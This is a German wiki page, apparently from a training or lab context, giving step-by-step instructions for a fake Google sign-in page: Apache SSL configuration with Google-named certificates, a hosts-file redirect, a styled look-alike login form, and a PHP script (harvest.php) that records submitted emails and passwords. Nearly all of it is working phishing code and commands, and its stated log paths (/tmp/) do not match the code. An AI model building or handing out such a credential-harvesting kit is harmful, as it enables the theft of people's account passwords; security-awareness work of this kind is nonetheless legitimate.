Google.com: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(Eine dazwischenliegende Version desselben Benutzers wird nicht angezeigt)
Zeile 24: Zeile 24:
 
<pre>
 
<pre>
 
<VirtualHost *:443>
 
<VirtualHost *:443>
     ServerName google.com
+
     ServerName www.google.com
 
     DocumentRoot /var/www/html
 
     DocumentRoot /var/www/html
  
 
     SSLEngine on
 
     SSLEngine on
     SSLCertificateFile /etc/apache2/google.com.fullchain.crt
+
     SSLCertificateFile /etc/apache2/star.google.com.fullchain.crt
     SSLCertificateKeyFile /etc/apache2/google.com.key
+
     SSLCertificateKeyFile /etc/apache2/star.google.com.key
  
 
     <Directory /var/www/html>
 
     <Directory /var/www/html>
Zeile 52: Zeile 52:
 
*Datei erstellen
 
*Datei erstellen
 
  touch log.txt
 
  touch log.txt
  chown www-data:www-dats log.txt
+
  chown www-data:www-data log.txt
  
 
*index.html:
 
*index.html:

Aktuelle Version vom 21. Mai 2025, 09:10 Uhr

Fake-Google-Login mit Apache, SSL und PHP-Logging

Ziel

  • TLS-geschützte Fake-Loginseite
  • Täuschend echtes Google-Layout
  • Loggt E-Mail + Passwort nach /tmp/
  • Kein nginx, kein SET, kein Frickel

Voraussetzungen

  • Zertifikate vorhanden:
    • /etc/apache2/star.google.com.fullchain.crt
    • /etc/apache2/star.google.com.key
  • Apache und PHP installiert:
apt install apache2 php libapache2-mod-php -y

Apache für SSL konfigurieren

  • Datei bearbeiten:
vi /etc/apache2/sites-available/000-default.conf
  • Inhalt ersetzen:
<VirtualHost *:443>
    ServerName www.google.com
    DocumentRoot /var/www/html

    SSLEngine on
    SSLCertificateFile /etc/apache2/star.google.com.fullchain.crt
    SSLCertificateKeyFile /etc/apache2/star.google.com.key

    <Directory /var/www/html>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>
  • SSL-Modul aktivieren:
a2enmod ssl
  • Apache neu starten:
systemctl restart apache2

Hosts-Datei anpassen

echo "127.0.0.1 google.com" >> /etc/hosts

HTML + PHP bereitstellen

  • Verzeichnis: /var/www/html
  • Datei erstellen
touch log.txt
chown www-data:www-data log.txt
  • index.html:
<!DOCTYPE html>
<html>
<head>
  <title>Sign in – Google Accounts</title>
  <meta charset="utf-8">
  <style>
    body {
      background-color: #f2f2f2;
      font-family: Arial, sans-serif;
      margin: 0;
      padding: 0;
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
    }
    .container {
      background-color: #fff;
      padding: 48px 40px 36px;
      border-radius: 8px;
      box-shadow: 0 1px 3px rgba(60,64,67,.3), 0 4px 8px rgba(60,64,67,.15);
      max-width: 360px;
      width: 100%;
      box-sizing: border-box;
      text-align: center;
    }
    .logo {
      width: 75px;
      margin-bottom: 24px;
    }
    h1 {
      font-size: 24px;
      font-weight: 400;
      margin: 0 0 24px 0;
      color: #202124;
    }
    input {
      width: 100%;
      padding: 14px;
      margin: 8px 0;
      border: 1px solid #dadce0;
      border-radius: 4px;
      font-size: 16px;
      box-sizing: border-box;
    }
    button {
      width: 100%;
      background-color: #1a73e8;
      color: white;
      padding: 12px;
      border: none;
      border-radius: 4px;
      font-size: 14px;
      font-weight: 500;
      margin-top: 24px;
      cursor: pointer;
    }
    button:hover {
      background-color: #1669c1;
    }
  </style>
</head>
<body>
  <div class="container">
    <img src="logo.png" class="logo" alt="Google">
    <h1>Sign in</h1>
    <form action="harvest.php" method="POST">
      <input type="text" name="email" placeholder="Email" required>
      <input type="password" name="password" placeholder="Password" required>
      <button type="submit">Sign in</button>
    </form>
  </div>
</body>
</html>
  • harvest.php:
<?php
file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
header("Location: https://you-have-been-hacked.xinux.de/");
exit;
?>

  • Logo:
    • Datei: /var/www/html/logo.png
    • Beispiel: Logo aus SET, Screenshot oder Google-Login exportieren

Test

  • Im Browser aufrufen:
https://google.com

→ Seite erscheint → Eingaben werden in /tmp/xlog.txt geschrieben → Weiterleitung zur echten (oder Fake-)Google-Seite